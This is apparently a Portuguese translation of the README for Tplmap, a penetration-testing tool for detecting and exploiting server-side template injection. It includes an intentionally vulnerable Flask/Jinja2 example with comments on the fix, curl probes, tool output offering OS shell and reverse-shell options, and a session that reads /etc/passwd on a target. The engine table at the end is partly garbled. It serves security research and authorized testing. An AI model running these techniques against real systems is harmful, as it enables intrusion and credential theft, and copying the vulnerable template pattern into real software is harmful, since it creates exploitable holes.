
Ferramenta de Detecção e Exploração de Injeção de Template no Lado do Servidor e Injeção de Código
Este projeto não está mais sendo mantido. Ficarei feliz em mesclar novos PRs desde que eles não quebrem a suíte de testes.
Tplmap auxilia na exploração de vulnerabilidades de Injeção de Código e Injeção de Template do Lado do Servidor com várias técnicas de escape de sandbox para obter acesso ao sistema operacional subjacente.
A ferramenta e sua suíte de testes são desenvolvidas para pesquisar a classe de vulnerabilidade SSTI e para ser usada como ferramenta de segurança ofensiva durante testes de penetração em aplicações web.
As técnicas de quebra de sandbox vieram de Server-Side Template Injection: RCE For The Modern Web App de James Kett, outras pesquisas públicas [1] [2], e contribuições originais para esta ferramenta [3] [4].
Pode explorar vários contextos de código e cenários de injeção cega. Também suporta injeções de código do tipo eval() em Python, Ruby, PHP, Java e engines de template genéricos sem sandbox.
Suponha que você está auditando um site que gera páginas dinâmicas usando templates compostos com valores fornecidos pelo usuário, como esta aplicação web escrita em Python e Flask que usa o engine de template Jinja2 de forma insegura.
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
# SSTI VULNERABILITY
# The vulnerability is introduced concatenating the
# user-provided `name` variable to the template string.
output = Jinja2.from_string('Hello ' + name + '!').render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Do ponto de vista de teste de caixa preta, a página reflete o valor de forma similar a uma vulnerabilidade XSS, mas também computa operações básicas em tempo de execução, revelando sua natureza SSTI.
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
Tplmap é capaz de detectar e explorar SSTI em uma variedade de engines de template para obter acesso ao sistema de arquivos e sistema operacional subjacentes. Execute-o contra a URL para testar se os parâmetros são vulneráveis.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Use a opção --os-shell para iniciar um pseudo-terminal no alvo.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Run commands on the operating system.
linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap suporta mais de 15 engines de template, engines de template sem sandbox e injeções genéricas do tipo eval().
| Engine | Execução Remota de Comandos | Cego | Avaliação de Código | Leitura de Arquivo | Escrita de Arquivo |
|---|---|---|---|---|---|
| Mako | ✓ | ✓ | Python | ✓ | ✓ |
| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
| Twig (>1.19) | × | × | × | × | × |
| Smarty (secured) | × | × |
Veja burp_extension/README.md.
| × |
| × |
| × |
| Dust (> [email protected]) | × | × | × | × | × |